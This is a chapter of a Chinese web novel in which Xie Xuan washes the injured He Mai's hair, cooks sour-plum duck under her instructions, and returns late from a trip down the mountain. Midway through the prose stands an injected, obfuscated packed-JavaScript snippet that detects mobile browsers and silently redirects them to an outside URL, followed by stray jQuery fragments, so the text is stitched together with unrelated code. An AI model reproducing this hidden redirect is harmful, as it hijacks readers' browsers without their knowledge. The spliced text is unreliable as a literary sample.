谢玄闻言，收碗的动作顿了一下。他站在饭桌前，维持着转身的姿势，目光落在何麦那油腻打绺的头发上，轻轻蹙了蹙眉。
他没有回答，山洞里沉默得只剩下灶膛余火的噼啪声。随着沉默越来越长，何麦脸上的尴尬之色也越来越浓。
沉默就是拒绝，这点社交常识她还是懂的。
正当她准备找个合适的措辞给自己找个台阶下时，谢玄终于动了。他移开视线，不再看她的头发，转身走到水缸边，拿起葫芦瓢，往灶上的大锅里舀水。
他的动作不紧不慢，脸上没什么表情，只有薄唇习惯性地微抿着。
“烧水需要时间，你等一下。”他背对着她，淡淡说了这么一句。
何麦愣了一下，连忙道：“不急不急，什么时候都行，谢谢你啊。”
谢玄没应她这句谢，添好水，盖上锅盖，又往灶膛里添了两根柴，让火旺起来。做完这些，他才又端起桌上的碗筷，走出了洞屋。
何麦躺回床上，侧耳听着外面的动静。门外传来窸窸窣窣的声响，混合着拐杖沉闷的点地声，何麦不知道他在外面忙活些什么。
等到灶上传来水沸的咕噜声时，谢玄端着一个宽口木盆走了进来。他把木盆放在床头的地上，里面放着一条干净的布巾，还有一块皂角。接着，他又提进来一个木桶，把锅里的热水舀进桶里兑成温水，试了试水温后，才提到床头。
一切准备妥当后，他搬来一张矮凳，在床头坐定，愣愣地看着何麦的脑袋，一副不知从何下手的表情。何麦很是配合地挪了挪身子，把肩颈探出床头，让脑袋悬在木盆上方。
“麻烦你了啊。”她仰着脸，冲他笑了笑，语气里带着感激和一丝谄媚。
谢玄依旧没吭声，只是那抿紧的唇线似乎更直了一些。他像是终于下定了决心，慢慢卷起袖口，露出一截结实的小臂。然后，他拿起水瓢，舀起温水缓缓淋在何麦的发上。
温水流过头皮，带来久违的舒爽感，何麦忍不住轻轻叹喟一声。谢玄的手几乎不可察地顿了顿，然后继续舀水，把她头发上的泥垢冲洗干净。
他拿起那块皂角，在掌心搓了搓，生出泡沫后涂在她湿漉漉的头发上。他的手指插入她的发间，动作有些僵硬，一点点揉搓着那些打结油腻的发丝。他的指腹接触到她的头皮，何麦能感受到那双略带薄茧的手在自己发间生涩却认真地动作。
她只需稍稍抬眼，就能看到谢玄近在咫尺的脸。他的呼吸很轻，脸上没什么表情，只有微蹙的眉头显示出他专注的态度，仿佛在完成一件及其精密又有些棘手的任务。
沉默的氛围有些尴尬，于是何麦开了个话头：“说起来，自打你们上山后，好像再没有旁人上来过了。也不知道如今山下是什么光景了。”
谢玄舀水冲洗她头上的泡沫，声音平淡道：“昨日从山腰望下去，附近村落没什么人影。早前逃难的人还未归，想来局面尚未安稳。”
何麦叹了口气：“真希望快点太平下来，我还指望下山赚点钱，改善下生活条件。”
谢玄：“你想下山生活？”
“那倒也不是，”何麦笑笑，“我想赚钱，在山里建个大房子，嘿嘿。”
谢玄认真冲洗完脏污的泡沫后又再用皂角搓洗一遍，好一会儿才开口：“你要想在雷公山雇人建房，恐怕无人肯接你这活计。”
“为何？”何麦仰着头看他，下意识问道。
谢玄反问她：“难道你不知雷公山吃人的传闻？”他顿了顿，继续道：“这十里八荒人人对此地避之不及，谁也不想做个工，把自己命搭进去。”
这传闻何麦不是不知道，只是在这山里住得久了，并未遇到什么古怪，久而久之也就抛之脑后没在意了。此刻被谢玄煞有其事地提起，她才重新想起来。
“你我在这里住了这么久，不还是好端端的，可见传闻未必是真的。”她嘟囔了句，然后问谢玄，“你又为何敢上山来？”
“走投无路罢了。”谢玄淡然道。
他舀起清水，仔细冲洗她发梢最后一点泡沫，直到流下的水完全清澈。然后，他用那条厚布巾包裹住她湿漉漉的头发，轻轻按压，吸去多余的水分。动作间，他突然开口，打破惯常的沉默，语气仍是平平的：“你呢？又是怎么到这山上来的？”
何麦正享受着头发洗干净后的舒爽，闻言随口答道：“受伤了，家里治不起，就把我扔这自生自灭了。”
她说得轻描淡写，甚至咧嘴笑了笑，露出一副“因祸得福”的表情，“结果我没死成，就在这住下了。”
谢玄擦头发的手几不可察地顿了一下，随即又恢复了均匀的力道。他垂着眼，看着手中半湿的布巾，淡淡道：“那你还真是命大。”
“可不是嘛。”何麦语气轻松，带着玩笑的意味，“说不定这山旺我，不仅没要我的命，日子反倒越过越好了。”
说着，她自己先笑了起来，仿佛被亲人遗弃，只是一段无关痛痒的旧事。
或许是她说得太过坦然，连谢玄这样惯常没什么表情的人，眼底也极快地掠过一丝诧异。但他什么也没问，只是将擦头发的布巾叠好放在一边，转身去收拾地上的水盆和皂角。
洗去满头油腻，何麦觉得脑袋轻快了不少。夏末的余热仍未散去，山洞里有些闷，不多时，发梢残留的水汽便被蒸干了。
她靠在床头，精神好了不少。无所事事，思绪便飘到了晚饭上。这几日都是谢玄在灶前忙活，即便她在一旁口述指点，做出来的饭菜依旧勉强维持在能吃的水平。不是咸了，就是淡了，火候更是时而过猛时而不足。吃了几顿堪称磨难的饭菜后，谢玄似乎摸到了一点门道，至少知道盐要少量放，烧火也开始懂得控制火候大小了。
此刻外面日头正盛，洞内仍有些闷热。想着那些油腻的炖肉或炒菜，何麦实在提不起胃口。她咂咂嘴，忽然格外想念以前吃过的一道酸梅鸭。记忆里那酸甜可口的酱汁，裹着酥嫩的鸭肉，开胃又解腻，最适合这种闷热天气。
何麦心里盘算着，之前买的三只小鸭已经长大了，自己之前闲来无事腌的酸梅还剩一罐。关键是，那道菜做法不算复杂，让已经有些经验的谢玄来操刀，应该不至于难吃到哪里去。
于是，趁着谢玄将水盆杂物放回屋内的当口，何麦扬声提议：“欸，谢玄，晚上咱们做酸梅鸭吃怎么样？”
谢玄脚步一顿，转过身，眉头习惯性地蹙起，“酸梅能和鸭子放一个锅里煮？”
在他的常识里，酸梅是孩童零嘴，鸭子是正经的荤食，这两样凑在一起，实在有些匪夷所思。
“嘿嘿，这你就不懂了。”何麦来了精神，半支起身子，“酸梅鸭可是正经美食，味道一点不比红烧肉差，酸酸甜甜，特别开胃。做法也简单，先把鸭子焯水去腥，再煎一煎，加点酸梅酱和别的调料一炖就成，保证好吃！”她语气笃定，一副“信我没错”的表情。
谢玄看着她那兴致勃勃的模样，又想了想这几日自己做出的那些“成果”，最终还是把质疑咽了回去，只淡淡道：“随你。反正做成什么样，我都吃得下。”
事情就这么定了。午后小憩醒来，谢玄便从鸡舍捉了只肥鸭，烧水拔毛，处理干净内脏后，按照何麦的指示，将鸭头、鸭翅、鸭脚卸了下来。
何麦拄着拐杖，站在一旁指点：“鸭屁股腥气重，要整个剁掉。”
谢玄“嗯”了一声，手起刀落，利索地把鸭屁股切了下来。然后又按照何麦的指示，将鸭子劈成两半。
见锅里的油热了，何麦伸着脖子指挥：“可以把鸭子放进去煎了，用小火，慢慢煎。”
谢玄用手拿起那两片皮肉厚实的鸭肉，悬在锅上顿了顿，似乎估量了一下位置，才稳稳地放下去。鸭皮接触热油的瞬间，“滋啦”一声轻响，溅起几点油星。
“不用急，小火慢慢来，把鸭皮里的油煎出来，等它变成金黄色。”何麦的声音带着点期待的雀跃。
谢玄没吭声，表情专注地盯着锅里。
鸭皮在热力作用下，颜色慢慢变成浅黄，再变成金黄。油脂被逼出，在锅底汇聚成一小汪清亮的油，浓郁的肉香混着油脂的焦香弥漫开来。
谢玄依言将火调到最小，耐心地等待着，偶尔用锅铲边缘轻轻推一下鸭块，防止粘锅。
“好了好了，颜色差不多了。”何麦看到鸭皮泛起均匀的金黄色泽，连忙道，“现在把姜片、葱段、还蒜放进去，炒出香味。”
谢玄照做，姜葱下锅后与鸭油混合，爆发出一股辛香。他翻炒的动作还有些生涩，但比之前流畅了许多。
“倒酒，就你手边那个罐子的米酒，倒小半碗进去。”何麦继续指点。
这罐米酒是何麦闲暇时尝试着酿的，因为是第一次酿，量不多，只够用来当调料。
谢玄拿起酒罐，倒了小半碗。酒液入锅，“嗤”地腾起一股带着酒香的白气。
“然后是生抽，大概半碗。老抽来一勺，主要是上色用……对，就那样。”何麦一边指点一边从壁炉台上拿过来一个小黑罐子，“这个最关键的，酸梅酱，来三大勺。”
谢玄舀起那色泽深沉的酸梅酱，放在鸭块和调料上。锅里顿时呈现出一种浓郁的酱色，酸梅酱酸甜的气息涌了上来。
“本来还需放几颗冰糖的，但这里没有，就放白糖代替吧。不用多，一勺就行，能中和味道，也让肉更软烂。”何麦补充道，“最后加清水，一大碗就行。”
谢玄一一照办，加水后，按照何麦的指示，把之前切下来的鸭头、鸭翅和鸭脚也放入锅中。盖上锅盖，增大火力。不一会儿，锅里便响起咕嘟咕嘟的沸腾声。
“大火煮开就转小火，慢慢炖，差不多得炖三刻钟。中间记得翻几次面，让颜色和味道都融进肉里。”何麦交代完，才稍微放松下来，躺回床上，但眼睛还是时不时瞟向灶台。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17053799|194350||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谢玄搬了张矮凳坐在灶边，守着火，隔一段时间便掀开锅盖，用锅铲小心地将鸭块翻面。每一次翻动，那酱汁就更浓稠一些，紧紧包裹着鸭肉，颜色也越来越深，呈现出诱人的红亮光泽。
酸甜肉香混合着酒香和酱香，充盈着真个山洞，连大黄都从门口挪到了灶边，眼巴巴地望着。
时间在咕嘟声中慢慢流逝，约莫三刻钟后，何麦提醒道：“时间差不多了，可以把里面的姜葱蒜捞出来了，那些煮久了味道发苦。”
谢玄用筷子将煮得软烂的姜葱蒜夹出扔掉，然后，他按照何麦说的，用勺子舀起锅中浓稠的酱汁，一遍遍淋在鸭皮上。汤汁顺着鸭身流下，在热力作用下迅速收浓，鸭皮被淋得油光发亮，颜色红润诱人。
等到酱汁收得只剩锅底浅浅一层，浓稠得能挂勺时，何麦指挥着谢玄将鸭捞到一个大盘子里。等晾的不烫手后，他便用刀将鸭肉斩成适口的块状，整齐码放，最后将锅里剩余的酱汁，均匀地浇在斩好的鸭块上。
深红油亮的酱汁包裹着每一块鸭肉，皮色红亮，肉质看起来酥烂。那股开胃的酸甜香气，更是直往人鼻子里钻。
何麦早已按捺不住，夹起一块连着皮的鸭腿肉，送入口中。鸭皮酥软，带着恰到好处的焦香和酸甜，鸭肉炖得极为软烂，几乎脱骨，酸梅的清爽酸甜完美地化解了鸭肉的油腻，混合着酱香和酒香，在口中层层化开。
“唔！”她满足地眯起眼，连连点头，含糊地冲着谢玄竖起大拇指，“好吃！就是这个味儿！谢玄，你可以出师了！”
谢玄看着她毫不掩饰的享受表情，紧绷的嘴角几不可察地松了松，脸上惯常的清冷神情，难得地透出一丝柔和。他也夹起一块鸭肉，放入口中慢慢咀嚼，嘴角微微向上，弯起一个极淡的弧度。
“做饭，倒也有些意思。”他低声道。
“是吧！”何麦的心思全在碗里，头也没抬，一边吃一边含糊应道，“自己做出来的东西，吃着就很香。你这回是真厉害，火候掌握得刚刚好，学得真快！”她毫不吝啬地夸赞。
谢玄脸上掠过一丝极淡的赫然，他伸出筷子，将盘中另一只油亮的鸭腿夹起，轻轻放到何麦碗里，声音比平时温和了些：“是你教得好。”
见他主动给自己夹菜，何麦只当他是感谢自己这几日的“教学”，道了声谢，便毫不客气地享用起来。
饭间，谢玄突然提起：“明日，我打算下山一趟。”
何麦夹菜的手顿了顿，抬眼看他。他的腿伤已基本痊愈，不用拐杖也能自如行走。“你的腿虽说是好了，可你不是还被通缉着吗？下山会不会有危险？”
“总不能一直躲在这里。”谢玄语气平静，“有些事，我需要去查清楚。”
何麦也不好劝他，只好叮嘱：“那你千万小心，屋里还有些面粉，明早我教你烙几张饼，你带着路上吃。”
谢玄点了点头。
次日清晨，简单吃过早饭，谢玄便下山了。何麦伤势未愈，但已可以坐着，只不过受伤的那条腿只能直直撑着，不能弯曲。她挪到洞口，在檐下的藤椅上坐着发呆。
山上骤然少了一个人，山间仿佛空旷了许多，竟生出几分无聊来。
好在有大黄陪着，这狗不知从哪里刨出来个光滑的小木球，叼到何麦床边，乌溜溜的眼睛望着她，尾巴摇得欢快，分明是想玩。
何麦正闲得发慌，便用那只完好的右手，将木球扔出去。大黄箭一般窜出去叼回来，如此反复，一人一狗竟消磨了大半个上午。
谢玄走前烙了饼，还煮了一锅粥，自己带走了几张饼，剩下的留给何麦和大黄当午饭。他原说晚饭前便能赶回，因此只备了午间的吃食。何麦没多想，中午和大黄把饼和粥分食光了。
等到日头西斜，暮色渐起，洞口仍不见谢玄的身影，她心里开始有些不安。谢玄做事向来有章法，过了说定的时辰还未归来，只怕是在山下遇到了麻烦。
难道山下的情景比预想的更糟？何麦心里七上八下，奈何自己行动不便，什么也做不了。
大黄中午吃得太素，到了傍晚便饿得围着何麦打转，发出呜呜的低鸣。何麦无法，只得撑着拐杖起身，想试着弄点吃的。可单凭一只手，连生火都困难。折腾半响，她只得放弃，从空间取出一块生肉给大黄吃，自己则吃了些空间里存放的野果充饥。
天色彻底黑透，何麦带着大黄坐在洞口那张藤椅上，又等了许久。山风渐凉，直到明月高悬，已是后半夜。
何麦望着黑沉沉的林间山路，长长叹了口气，心里做了最坏的打算。她拄着拐杖，有些吃力地站起身，准备挪回洞屋歇下。大黄跟在她脚边，耳朵却机警地竖着。
就在她转身，手指刚粗碰到那扇简陋的木门时，黑暗中，一个磁性的男声响起：“我回来了。”
何麦猛地顿住，她转过身，看到谢玄高大挺拔的身影静静伫立在月光下。